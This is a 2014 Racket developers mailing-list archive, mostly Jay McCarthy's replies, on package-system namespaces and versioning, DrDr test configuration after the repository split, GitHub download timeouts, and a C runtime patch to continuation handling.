Re: [racket-dev] [racket/web-server] 1c6411: Removing out-dated WebSocket implementation

2015-01-14 Thread Jay McCarthy
The plan is to add a dependency on the net-rfc* package with update-implies
OR move that code into this place.

This is a bit of a special case given that the old code doesn't work at
all. There are basically no Web browsers that support that version of
WebSockets, so it is only breaking for things that use this code or a few
very old browsers.

Jay

On Wed, Jan 14, 2015 at 2:37 PM, Sam Tobin-Hochstadt sa...@cs.indiana.edu
wrote:

 How does this fit with backward compatibility?

 Sam

 On Wed, Jan 14, 2015 at 2:26 PM, Jay McCarthy jay.mccar...@gmail.com
 wrote:
Branch: refs/heads/master
Home:   https://github.com/racket/web-server
Commit: 1c6411c670c1aa86df507a99c64dfc2701d36c0f
 
 https://github.com/racket/web-server/commit/1c6411c670c1aa86df507a99c64dfc2701d36c0f
Author: Jay McCarthy jay.mccar...@gmail.com
Date:   2015-01-14 (Wed, 14 Jan 2015)
 
Changed paths:
  R web-server-lib/net/websocket.rkt
  R web-server-lib/net/websocket/client.rkt
  R web-server-lib/net/websocket/server.rkt
 
Log Message:
---
Removing out-dated WebSocket implementation
 
 




-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] collects search order

2014-12-12 Thread Jay McCarthy
I don't know the answer to the -X/-S question, but the best way to add
more collects is to use raco link or raco pkg. If you want to
OVERRIDE a collect that would normally be part of racket/collects is
more complicated though.

On Thu, Dec 11, 2014 at 8:00 PM, Dan Liebgold dan.liebg...@gmail.com wrote:
 If I use the -X and -S command line parameters to Racket to make my local
 collects dir the first one searched, it makes it so I can't do (require
 srfi/1).

 Is there something special about the srfi package? (it's layout seems
 different)

 Is there a better way to prioritize my local collects dir per invocation?

 --
 Dan Liebgold[dan.liebg...@gmail.com]

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev




-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] DrDr the split repository

2014-12-10 Thread Jay McCarthy
On Tue, Dec 9, 2014 at 12:12 AM, Asumu Takikawa as...@ccs.neu.edu wrote:
 On 2014-12-05 07:14:40 -0500, Jay McCarthy wrote:
 Instead, Matthew changed raco test (which is how DrDr tests
 programs) to support all these options. They can be test on a
 per-directory or per-file basis. The documentation for this is here:

 I tried to set this for a test I am responsible for, but it didn't seem
 to work. I've probably just made a mistake somewhere, so can someone
 sanity check this for me?

 DrDr is complaining to me about this file:
   
 http://drdr.racket-lang.org/29616/pkgs/racket-test/tests/generic/benchmark.rkt

 but I thought I set the timeout/randomness for that file here:
   
 https://github.com/plt/racket/blob/1e5ec02262e588512d225f4212badf4ce36b40d7/pkgs/racket-test/tests/generic/info.rkt

I messed up the randomness checking (need to use regexp-quote).

I also messed up one other place where timeouts are enforced.

Thanks for letting me know. It should be fixed now.

Jay
-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] DrDr the split repository

2014-12-05 Thread Jay McCarthy
Yes. It may be possible to write a script to port props, but I think
the errors are few enough it isn't worth it.

Jay

On Fri, Dec 5, 2014 at 8:27 AM, Robby Findler
ro...@eecs.northwestern.edu wrote:
 And just to confirm: we should be checking into our own failures in
 drdr and fixing the info files now, right?

 Robby


 On Fri, Dec 5, 2014 at 6:14 AM, Jay McCarthy jay.mccar...@gmail.com wrote:
 Since we split the repository, there have been significantly more
 errors on DrDr:

 http://drdr.racket-lang.org/

 This is mainly because DrDr used to use a monolithic metadata file:

 https://github.com/plt/racket/blob/master/pkgs/plt-services/meta/props

 This meta-data file included things like Don't run this file and
 Give it a timeout of 5 minutes or This program fails randomly, so
 don't blame the committer. But we can't use this centralized metadata
 with the decentralized repository.

 Instead, Matthew changed raco test (which is how DrDr tests
 programs) to support all these options. They can be test on a
 per-directory or per-file basis. The documentation for this is here:

 http://docs.racket-lang.org/raco/test.html?q=raco%20test#%28part._test-config%29

 Jay

 --
 Jay McCarthy
 http://jeapostrophe.github.io

Wherefore, be not weary in well-doing,
   for ye are laying the foundation of a great work.
 And out of small things proceedeth that which is great.
   - DC 64:33
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] The repository is now split

2014-12-05 Thread Jay McCarthy
raco pkg uses the API when it prints out Querying GitHub:

https://github.com/plt/racket/blob/master/racket/collects/pkg/private/stage.rkt#L668

But when it is just doing a download and it has a particularly
checksum, it just does a GET on a download URL:

https://github.com/plt/racket/blob/master/racket/collects/pkg/private/stage.rkt#L266

Jay

On Fri, Dec 5, 2014 at 1:49 PM, Sam Tobin-Hochstadt
sa...@cs.indiana.edu wrote:
 The rate limit only applies to API calls, not to downloads, so I don't
 think that could be it.

 Sam

 On Fri, Dec 5, 2014 at 1:07 PM, Stephen Chang stch...@ccs.neu.edu wrote:
 Typed make and it timed out again.

 Could it be a github rate limit?
 https://developer.github.com/v3/rate_limit/
 https://developer.github.com/v3/#rate-limiting


 Downloading 
 https://github.com/racket/distributed-places/tarball/917d33e217b3b4897fd86a5a8116087b0714b279
 Downloading 
 https://github.com/racket/racklog/tarball/71bc8cb3dff36f343d6cdaa05e257e34def8d757
 Downloading 
 https://github.com/racket/rackunit/tarball/7300f625d56940667657dc3170acf728bf171992
 Downloading 
 https://github.com/racket/readline/tarball/a6298fd5370f9647f815c813cb5ad3032a2c0487
 tcp-connect: connection failed
   address: github.com
   port number: 443
   step: 6
   system error: Connection timed out; errno=110
   context...:


 On Fri, Dec 5, 2014 at 1:00 PM, Stephen Chang stch...@ccs.neu.edu wrote:
 Did a fresh clone and then make (Debian 7.4) and got the error below,
 even though git is not down. Do we need to increase the timeout?

 Downloading 
 https://github.com/racket/icons/tarball/d6ec572b628874361c104858dad2a574119872fb
 Downloading 
 https://github.com/racket/images/tarball/3458568c6ba363ae9510adf4ec5001aef582f651
 Downloading 
 https://github.com/racket/lazy/tarball/fca189e90c6ab9bb5101d99b67d57c9ba010b83c
 tcp-connect: connection failed
   address: codeload.github.com
   port number: 443
   step: 6
   system error: Connection timed out; errno=110
   context...:

 On Thu, Dec 4, 2014 at 2:58 PM, Matthew Flatt mfl...@cs.utah.edu wrote:
 In cooperation with Sam, I've pushed a change to the way that `make`
 links the content of pkgs. If you run `make` again, it should tell
 you to delete your old

   racket/etc/config.rktd


 Also, the native-pkgs submodule is gone. The problem that John saw
 with libintl.8.dylib has been fixed by updating the native-library
 packages on pkgs.racket-lang.org. You'll need to use `raco pkg
 update` to get those updates!

 For now, use `git pull` to update core Racket and the handful of
 packages in pkgs. Use `raco pkg update` to update anything else. We
 expect to make `raco pkg update` apply to everything (i.e., to imply a
 `git pull` in the main repository's directory), but we're not there,
 yet.

 _
   Racket Developers list:
   http://lists.racket-lang.org/dev
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] new package system collections and conflicts

2014-12-03 Thread Jay McCarthy
Your frustration is understandable given the lack of charity I've
shown in this thread. I apologize and promise to try to be better.

I know I'm repeating myself annoyingly, but I think the most
productive way to move forward is if you could identify problems that
you're trying to solve where the package system is getting in the way.
We can then work together to figure out a solution.

I suspect that the majority of the problems you see now are due to my
failure to explain the purpose of the package system and its relation
to Planet.

I hope to write a blog post in the very near future that explains the
relationship between Planet and the package system. I intend to sketch
how the latter can emulate the former in a near-perfect manner. My
hope is that this post will help explain the package system and show
that it does not prevent you from doing anything that Planet let you
do, it only allows you to do more.

I'm very sorry for my annoyed responses earlier. I'm grateful for your
contributions to the Racket ecosystem.

Love always,

Jay

On Tue, Dec 2, 2014 at 7:12 AM, Neil Van Dyke n...@neilvandyke.org wrote:
 I think this what's the matter with conflicts, and an arbitrary package
 putting things wherever it wants, and not having a notion of
 non-backward-compatibility is similar to what's the matter with using eval
 for everything or what's the matter with defmacro or what's the big deal
 about having subroutines in a language.

 The questioner's position works for them, some other person thinks it's a
 very bad idea, and you can trot out hypothetical scenarios and anecdotes,
 but -- since it can be argued to reduce to pragmatic tradeoffs involving
 unknowns -- you can't (at least I can't) persuade someone who thinks they
 know better.

 How about we just say that the module system was originally designed as
 something that core Racket developers would like to use, having a low
 friction to moving an individual core developer's side projects into the
 tidy-looking core, or to doing other kinds of shifting they would like to do
 in core Racket?  Without an acknowledgement that not all third-party package
 developers will be working like that, nor that everyone wants to make the
 substantial compromises to facilitate that low friction.

 For third-party developers like me, I can layer something to work around
 some of the drawbacks, and, pragmatically, that's what I'll have to do.

 Neil V.




-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] new package system collections and conflicts

2014-11-30 Thread Jay McCarthy
The documentation cited is making clear that there is NO connection between
the name of a package and the provided modules. There is no such thing as a
package namespace.

Packages may find it convenient to build and provide reusable functionality
with many organizational names. This is particularly true of data, as
many packages may have useful data structures.

Of course, as such support code becomes very useful and developed, it makes
sense to sprin it off into its own package.

Jay

On Sunday, November 30, 2014, Neil Van Dyke n...@neilvandyke.org wrote:

 Given the example from the documentation, of the `tic-tac-toe` package and
 conflicts (quoted at end of this email), instead, why isn't the norm to
 do:

 (require tic-tac-toe)

 Or, when necessary:

 (require tic-tac-toe/matrix)

 Why, when one installs a package named `tic-tac-toe`, would one be
 referencing modules of the package as `data/matrix`?

 I don't recall ever seeing a situation in which I wanted different
 third-party Racket packages to be stomping over each other's module-naming
 namespaces.

 For people who want to release lots of well-behaved reusable packages,
 using good practices, with minimal effort and head-scratching, things like
 this are a problem.

  2 Package Concepts

 A package is a set of modules in some number of collections. Modules
 installed using the Racket package manager are required like any other
 modules. For example, if the package tic-tac-toe contains the module
 matrix.rkt in a data collection, then after tic-tac-toe is installed,

 (require data/matrix)

 [...]

 2.5 Package Conflicts

 Two packages are in conflict if they contain the same module. For
 example, if the package tic-tac-toe contains the module file
 data/matrix.rkt and the package factory-optimize contains the module file
 data/matrix.rkt, then tic-tac-toe and factory-optimize are in conflict.

 A package may also be in conflict with Racket itself, if it contains a
 module file that is part of the base Racket implementation. For example,
 any package that contains racket/list.rkt is in conflict with Racket.

 For the purposes of conflicts, a module is a file that ends in .rkt,
 .ss, or .scrbl.


 Neil V.

 _
  Racket Developers list:
  http://lists.racket-lang.org/dev



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] new package system collections and conflicts

2014-11-30 Thread Jay McCarthy
I do not think we should change the example. I do not want people to
falsely believe that they can any expectation of the modules provided by a
package from its name. In particular, your comment about this being
strange is not supported by the package system's promises.

Jay

On Sunday, November 30, 2014, Matthew Flatt mfl...@cs.utah.edu wrote:

 We should change that example. It would indeed be strange for package
 named tic-tac-toe would introduce a `data/matrix` module, and the
 documentation really shouldn't suggest that it makes sense for a
 package to introduce overlaps that are not reasonably expected from the
 package name.


 There are plenty of real examples where it's sensible for different
 packages to introduce modules in overlapping collections, though.
 Sometimes, it's because different packages implement different facets
 of a conceptual whole, such as math-lib, math-doc, and math-test
 all extending the math collection. Sometimes, it's more a mater of
 history, such as compatibility-lib extending several different
 collections. And then there are example that you might classify as
 either of those or as a third kind, depending on how you look at it:
 draw-lib adds `racket/draw`, and gui-package-manager adds
 `pkg/gui`.


 The data collection is among those that were intended to be extended
 by multiple packages. Whether that's really a good idea remains to be
 seen, but that's why data shows up as an example in the manual.
 (Again, though, no one would expect a tic-tac-toe package to
 introduce a new module in data.)


 At Sun, 30 Nov 2014 10:22:49 -0500, Neil Van Dyke wrote:
  Given the example from the documentation, of the `tic-tac-toe` package
  and conflicts (quoted at end of this email), instead, why isn't the
  norm to do:
 
   (require tic-tac-toe)
 
  Or, when necessary:
 
   (require tic-tac-toe/matrix)
 
  Why, when one installs a package named `tic-tac-toe`, would one be
  referencing modules of the package as `data/matrix`?
 
  I don't recall ever seeing a situation in which I wanted different
  third-party Racket packages to be stomping over each other's
  module-naming namespaces.
 
  For people who want to release lots of well-behaved reusable packages,
  using good practices, with minimal effort and head-scratching, things
  like this are a problem.
 
   2 Package Concepts
  
   A package is a set of modules in some number of collections. Modules
   installed using the Racket package manager are required like any other
   modules. For example, if the package tic-tac-toe contains the module
   matrix.rkt in a data collection, then after tic-tac-toe is
 installed,
  
   (require data/matrix)
  [...]
   2.5 Package Conflicts
  
   Two packages are in conflict if they contain the same module. For
   example, if the package tic-tac-toe contains the module file
   data/matrix.rkt and the package factory-optimize contains the module
   file data/matrix.rkt, then tic-tac-toe and factory-optimize are in
   conflict.
  
   A package may also be in conflict with Racket itself, if it contains a
   module file that is part of the base Racket implementation. For
   example, any package that contains racket/list.rkt is in conflict
   with Racket.
  
   For the purposes of conflicts, a module is a file that ends in .rkt,
   .ss, or .scrbl.
 
  Neil V.
 
  _
Racket Developers list:
http://lists.racket-lang.org/dev
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] new package system and versions

2014-11-30 Thread Jay McCarthy
I don't understand this question. The package system doesn't really have a
concept of version like you are referring to.

The package X is versionless. It is possible to know that your copy of X is
different than another's, hence checksums and updating (which should have
been called sync, in retrospect.) And you can know that your copy of X
isn't the copy that package Y expects, hence the (poorly named) version
metadata in the info file. But there is always only one package X in your
installation (and no promise that X anywhere else has anything to do with
your X.)

If you want to make a totally new package that has nothing to do with X, as
non-backwards compatibility means. Then you are free to name it X and make
it difficult for people to maintain old programs using the original X. If
you do so, the system will not stop you, but you are going against the
advice and experience of the Racket developers wrt quality customer
service.

Jay

On Sunday, November 30, 2014, Neil Van Dyke n...@neilvandyke.org wrote:

 Any chance of revisiting the new package system's stances on versions --
 specifically, on the two issues:
 1. Can subsequent versions of a named package (which has an identity)  be
 non-backward-compatible?
 2. Can a Racket setup (and even an individual program) have multiple
 versions of a package at the same time?

 Regarding #1, the requirement to never make a non-backward-compatible
 version of a package without giving up package identity is a burden, and a
 deterrent to third-party package releases.

 For a real-world example, see http://planet.racket-lang.org/;, where it
 looks like most of the familiar names (who were going to a good amount of
 trouble to release already), managed to release packages marked as
 non-backward-compatible (i.e., PLaneT major version number other than 1).
 Wouldn't requiring them to never break backward compatibility be a
 deterrent to releasing at all? Or, if they still released, would `dherman`,
 following the instructions of Racket to create a new package identity for
 any backward-incompatible version, have given us packages `javascript`,
 `javascript2`, ... `javascript9`, rather than `javascript` versions `1.x`
 through `9.x`.

 No-backward-incompatibility might make sense for core Racket (although
 even core Racket has broken this multiple times), but it's a big deterrent
 to researchers, and to industry developers who are willing to open source
 components of their larger systems in lightweight ways.

 Regarding #2, I suggest that should be revisited if #1 is revisited.

 I think PLaneT got both of these a lot closer to right, at least for
 third-party packages.

 Neil V.

 _
  Racket Developers list:
  http://lists.racket-lang.org/dev



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] new package system collections and conflicts

2014-11-30 Thread Jay McCarthy
On Sunday, November 30, 2014, Neil Van Dyke n...@neilvandyke.org wrote:


 Jay McCarthy wrote on 11/30/2014 12:13 PM:

 The documentation cited is making clear that there is NO connection
 between the name of a package and the provided modules. There is no such
 thing as a package namespace.


 I'd really like there to be.  For third-party packages.


I do not know what a third party package is.




 Packages may find it convenient to build and provide reusable
 functionality with many organizational names. This is particularly true of
 data, as many packages may have useful data structures.

 Of course, as such support code becomes very useful and developed, it
 makes sense to sprin it off into its own package.


 Are you saying that `data` is some kind of classification of what this
 module is about, and in this case specifically, this module, which is
 part of some more specific package, happens to be regarding general-purpose
 data structures, so we're putting it over here in the `data` area of a
 shared namespace hierarchy?


Yes, although this is just for the benefit of search and reading docs; it
has no technical enforcement.


 If so, I don't understand why that would be considered a good idea.


It is a principle to create general purpose reusable code in the package
ecosystem rather than little archipelagos with lots of private code that
gets duplicated and has clever names.

Jay



 Neil V.



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] new package system collections and conflicts

2014-11-30 Thread Jay McCarthy
Just to be clear. I don't think that tic-tac-toe and data/matrix
are the important thing in this example. The important thing is that
the package name and the module don't share a prefix. Another good
example would be something like graphs and data/fib-heap or
something where it may to be easier to imagine the connection between
the purpose of the package and a particular module provided.

Jay

On Sun, Nov 30, 2014 at 12:16 PM, Jay McCarthy jay.mccar...@gmail.com wrote:
 I do not think we should change the example. I do not want people to falsely
 believe that they can any expectation of the modules provided by a package
 from its name. In particular, your comment about this being strange is not
 supported by the package system's promises.

 Jay


 On Sunday, November 30, 2014, Matthew Flatt mfl...@cs.utah.edu wrote:

 We should change that example. It would indeed be strange for package
 named tic-tac-toe would introduce a `data/matrix` module, and the
 documentation really shouldn't suggest that it makes sense for a
 package to introduce overlaps that are not reasonably expected from the
 package name.


 There are plenty of real examples where it's sensible for different
 packages to introduce modules in overlapping collections, though.
 Sometimes, it's because different packages implement different facets
 of a conceptual whole, such as math-lib, math-doc, and math-test
 all extending the math collection. Sometimes, it's more a mater of
 history, such as compatibility-lib extending several different
 collections. And then there are example that you might classify as
 either of those or as a third kind, depending on how you look at it:
 draw-lib adds `racket/draw`, and gui-package-manager adds
 `pkg/gui`.


 The data collection is among those that were intended to be extended
 by multiple packages. Whether that's really a good idea remains to be
 seen, but that's why data shows up as an example in the manual.
 (Again, though, no one would expect a tic-tac-toe package to
 introduce a new module in data.)


 At Sun, 30 Nov 2014 10:22:49 -0500, Neil Van Dyke wrote:
  Given the example from the documentation, of the `tic-tac-toe` package
  and conflicts (quoted at end of this email), instead, why isn't the
  norm to do:
 
   (require tic-tac-toe)
 
  Or, when necessary:
 
   (require tic-tac-toe/matrix)
 
  Why, when one installs a package named `tic-tac-toe`, would one be
  referencing modules of the package as `data/matrix`?
 
  I don't recall ever seeing a situation in which I wanted different
  third-party Racket packages to be stomping over each other's
  module-naming namespaces.
 
  For people who want to release lots of well-behaved reusable packages,
  using good practices, with minimal effort and head-scratching, things
  like this are a problem.
 
   2 Package Concepts
  
   A package is a set of modules in some number of collections. Modules
   installed using the Racket package manager are required like any other
   modules. For example, if the package tic-tac-toe contains the module
   matrix.rkt in a data collection, then after tic-tac-toe is
   installed,
  
   (require data/matrix)
  [...]
   2.5 Package Conflicts
  
   Two packages are in conflict if they contain the same module. For
   example, if the package tic-tac-toe contains the module file
   data/matrix.rkt and the package factory-optimize contains the module
   file data/matrix.rkt, then tic-tac-toe and factory-optimize are in
   conflict.
  
   A package may also be in conflict with Racket itself, if it contains a
   module file that is part of the base Racket implementation. For
   example, any package that contains racket/list.rkt is in conflict
   with Racket.
  
   For the purposes of conflicts, a module is a file that ends in .rkt,
   .ss, or .scrbl.
 
  Neil V.
 
  _
Racket Developers list:
http://lists.racket-lang.org/dev
 _
   Racket Developers list:
   http://lists.racket-lang.org/dev



 --
 Jay McCarthy
 http://jeapostrophe.github.io

Wherefore, be not weary in well-doing,
   for ye are laying the foundation of a great work.
 And out of small things proceedeth that which is great.
   - DC 64:33



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] new package system collections and conflicts

2014-11-30 Thread Jay McCarthy
On Sun, Nov 30, 2014 at 12:40 PM, Neil Van Dyke n...@neilvandyke.org wrote:

 Jay McCarthy wrote on 11/30/2014 12:30 PM:

 On Sunday, November 30, 2014, Neil Van Dyke n...@neilvandyke.org
 mailto:n...@neilvandyke.org wrote:


 Jay McCarthy wrote on 11/30/2014 12:13 PM:

 The documentation cited is making clear that there is NO
 connection between the name of a package and the provided
 modules. There is no such thing as a package namespace.


 I'd really like there to be.  For third-party packages.


 I do not know what a third party package is.


 I'm thinking of *non*-core-Racket-developers.  Who have different needs than
 core Racket developers.  It's good that Racket is blurring the distinction,
 but the needs still aren't necessarily the same.  I say third-party as
 shorthand familiar to me, but perhaps there's a better term.

I don't understand what you think the different needs are. I agree
that there can be a different commitment to quality from the two
groups, such as the Racket core policy for backwards compatibility
that can't be enforced on anyone else and isn't practiced by core
developers on other stuff (for instance, I don't practice this on my
experimental game libraries.) But I can't think of any other
technically different needs.




 Packages may find it convenient to build and provide reusable
 functionality with many organizational names. This is
 particularly true of data, as many packages may have useful
 data structures.

 Of course, as such support code becomes very useful and
 developed, it makes sense to sprin it off into its own package.


 Are you saying that `data` is some kind of classification of what
 this module is about, and in this case specifically, this
 module, which is part of some more specific package, happens to be
 regarding general-purpose data structures, so we're putting it
 over here in the `data` area of a shared namespace hierarchy?

 Yes, although this is just for the benefit of search and reading docs; it
 has no technical enforcement.

 If so, I don't understand why that would be considered a good idea.


 It is a principle to create general purpose reusable code in the package
 ecosystem rather than little archipelagos with lots of private code that
 gets duplicated and has clever names.



 I keep wanting to encourage lots-and-lots of packages, and they can be
 packaged and released in a very lightweight yet well-conceived manner.

Yes. The package system is optimized for this case: put a directory
online or put code inside of a github repo --- boom, you have a
package!

 To go back to your example, if it's a useful general-purpose data structures
 library, then that's another package, which should be very easy to do.  If
 the package author isn't ready to split it out, then they're not ready to
 split it out, so no sense talking about it.  As far as I can tell, in no
 case is this `data` namespace relevant.

We are not enforcing through technology either outcome of splitting it
out or not. We are are enabling the ability to split it out if they
want, however. I don't understand what talking about it means... do
you mean writing documentation or literally talking about by sending
emails/etc? In either case, different authors may want to do different
things and the package system doesn't enforce one decision or another.

 Side note: I really don't think ontological classification of package topics
 belongs in package names.  Topical classifications evolve over time, and
 independent of the objects themselves. Classifications belong in
 directories, not in names.

I don't understand this.

--

It sounds like there is a problem that you are searching for a
solution for and aren't finding it in what the package system
delivers. Rather than asking, Does the package system provide
solution A?, can you ask How does the package system solve problem
X? That would make it much more useful for me to give a useful reply.

Jay



-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] [plt] Push #29418: master branch updated

2014-11-18 Thread Jay McCarthy
-cont_mark_stack_copied = msaved;
 -  cont-cont_mark_offset = offset;
 -  cont-cont_mark_total = cont-ss.cont_mark_stack;
 -  offset = find_shareable_marks();
 -  cont-cont_mark_nonshare = cont-ss.cont_mark_stack - offset;
 +
 +  cont = grab_continuation(p, 0, 0, prompt_tag, pt, sub_cont,
 +   prompt, prompt_cont, 
 effective_barrier_prompt, 1);
  #ifdef MZ_USE_JIT
cont-native_trace = ret;
  #endif
 +
 +  cont-buf_ptr-buf.cont = sub_cont;
 +  cont-escape_cont = sub_cont-escape_cont;
  }

  argv2[0] = (Scheme_Object *)cont;
 @@ -5813,7 +5810,7 @@ internal_call_cc (int argc, Scheme_Object *argv[])
}

cont = grab_continuation(p, 0, composable, prompt_tag, pt, sub_cont,
 -   prompt, prompt_cont, effective_barrier_prompt);
 +   prompt, prompt_cont, effective_barrier_prompt, 0);

scheme_zero_unneeded_rands(p);

 @@ -6365,7 +6362,7 @@ static Scheme_Object *compose_continuation(Scheme_Cont 
 *cont, int exec_chain,

/* Grab a continuation so that we capture the current Scheme stack,
   etc.: */
 -  saved = grab_continuation(p, 1, 0, NULL, NULL, NULL, NULL, NULL, NULL);
 +  saved = grab_continuation(p, 1, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0);

if (p-meta_prompt)
  saved-prompt_stack_start = p-meta_prompt-stack_boundary;

 racket/src/racket/src/mzmark_type.inc
 ~
 --- OLD/racket/src/racket/src/mzmark_type.inc
 +++ NEW/racket/src/racket/src/mzmark_type.inc
 @@ -938,6 +938,7 @@ static int cont_proc_MARK(void *p, struct NewGC *gc) {
gcMARK2(c-dw, gc);
gcMARK2(c-prompt_tag, gc);
gcMARK2(c-meta_continuation, gc);
 +  gcMARK2(c-meta_continuation_src, gc);
gcMARK2(c-common_dw, gc);
gcMARK2(c-save_overflow, gc);
gcMARK2(c-runstack_copied, gc);
 @@ -980,6 +981,7 @@ static int cont_proc_FIXUP(void *p, struct NewGC *gc) {
gcFIXUP2(c-dw, gc);
gcFIXUP2(c-prompt_tag, gc);
gcFIXUP2(c-meta_continuation, gc);
 +  gcFIXUP2(c-meta_continuation_src, gc);
gcFIXUP2(c-common_dw, gc);
gcFIXUP2(c-save_overflow, gc);
gcFIXUP2(c-runstack_copied, gc);

 racket/src/racket/src/mzmarksrc.c
 ~
 --- OLD/racket/src/racket/src/mzmarksrc.c
 +++ NEW/racket/src/racket/src/mzmarksrc.c
 @@ -363,6 +363,7 @@ cont_proc {
gcMARK2(c-dw, gc);
gcMARK2(c-prompt_tag, gc);
gcMARK2(c-meta_continuation, gc);
 +  gcMARK2(c-meta_continuation_src, gc);
gcMARK2(c-common_dw, gc);
gcMARK2(c-save_overflow, gc);
gcMARK2(c-runstack_copied, gc);

 racket/src/racket/src/schpriv.h
 ~~~
 --- OLD/racket/src/racket/src/schpriv.h
 +++ NEW/racket/src/racket/src/schpriv.h
 @@ -1651,6 +1651,7 @@ typedef struct Scheme_Cont {
Scheme_Object so;
char composable, has_prompt_dw, need_meta_prompt, skip_dws;
struct Scheme_Meta_Continuation *meta_continuation;
 +  Scheme_Object *meta_continuation_src; /* a weak reference to the mc 
 cloned, for use in detecting sharing */
Scheme_Cont_Jmp *buf_ptr; /* indirection allows sharing */
Scheme_Dynamic_Wind *dw;
int next_meta;

 racket/src/racket/src/setjmpup.c
 
 --- OLD/racket/src/racket/src/setjmpup.c
 +++ NEW/racket/src/racket/src/setjmpup.c
 @@ -410,10 +410,22 @@ static intptr_t find_same(char *p, char *low, intptr_t 
 max_size)
  cnt++;
}
  #else
 -  while (max_size--) {
 -if (p[max_size] != low[max_size])
 -  break;
 -cnt++;
 +  if (!((intptr_t)p  (sizeof(intptr_t)-1))
 +   !((intptr_t)low  (sizeof(intptr_t)-1))) {
 +/* common case of aligned addresses: compare `intptr_t`s at a time */
 +max_size /= sizeof(intptr_t);
 +while (max_size--) {
 +  if (((intptr_t *)p)[max_size] != ((intptr_t *)low)[max_size])
 +break;
 +  cnt += sizeof(intptr_t);
 +}
 +  } else {
 +/* general case: compare bytes */
 +while (max_size--) {
 +  if (p[max_size] != low[max_size])
 +break;
 +  cnt++;
 +}
}
  #endif




-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] fix for serve/servlet docs?

2014-11-14 Thread Jay McCarthy
Currently, the documentation says that the default value is
default-server-root-path but that is not a link to anything. In the
actual code, this is

(define-runtime-path default-web-root default-web-root)

I think the right thing to do is just change what the default argument
says to be

(collection-path web-server default-web-root)

rather than the made-up/unlinked name and then use a different phrase
in the prose.

Do you think this would be good? Would you like to make the change and
I'll just rubber stamp it or shall I?

Jay

On Fri, Nov 14, 2014 at 7:36 PM, John Clements johnbcleme...@gmail.com wrote:
 The serve/servlet docs state:

 The server files are rooted at server-root-path (which is the distribution
 root by default.) File paths, in addition to the htdocs directory under
 server-root-path may be provided with extra-files-paths. These paths are
 checked first, in the order they appear in the list.

 It wasn't clear to me what the distribution root meant in this case.  I
 eventually would up just searching for not-found.html, and I now
 conjecture that distribution root is short for

 (collection-path web-server default-web-root)

 would it make sense to add this to the docs? Did I miss something?

 John




-- 
Jay McCarthy
http://jeapostrophe.github.io

   Wherefore, be not weary in well-doing,
  for ye are laying the foundation of a great work.
And out of small things proceedeth that which is great.
  - DC 64:33
_
  Racket Developers list:
  http://lists.racket-lang.org/dev


Re: [racket-dev] Update libffi to 3.1

2014-10-27 Thread Jay McCarthy
I am always inclined to update. Is there also some new benefit or
feature to 3.1?

Jay

On Mon, Oct 27, 2014 at 9:29 AM, Gustavo Frederico Temple Pedrosa
gustavo.pedr...@eldorado.org.br wrote:
 Hello all,



 I submitted a commit for updating the libffi, I tested it and it works fine:



 https://github.com/plt/racket/pull/806



 Any suggestion, please talk to me :)



 Thank you.


 _
   Racket Developers list:
   http://lists.racket-lang.org/dev




-- 
Jay McCarthy
http://jeapostrophe.github.io

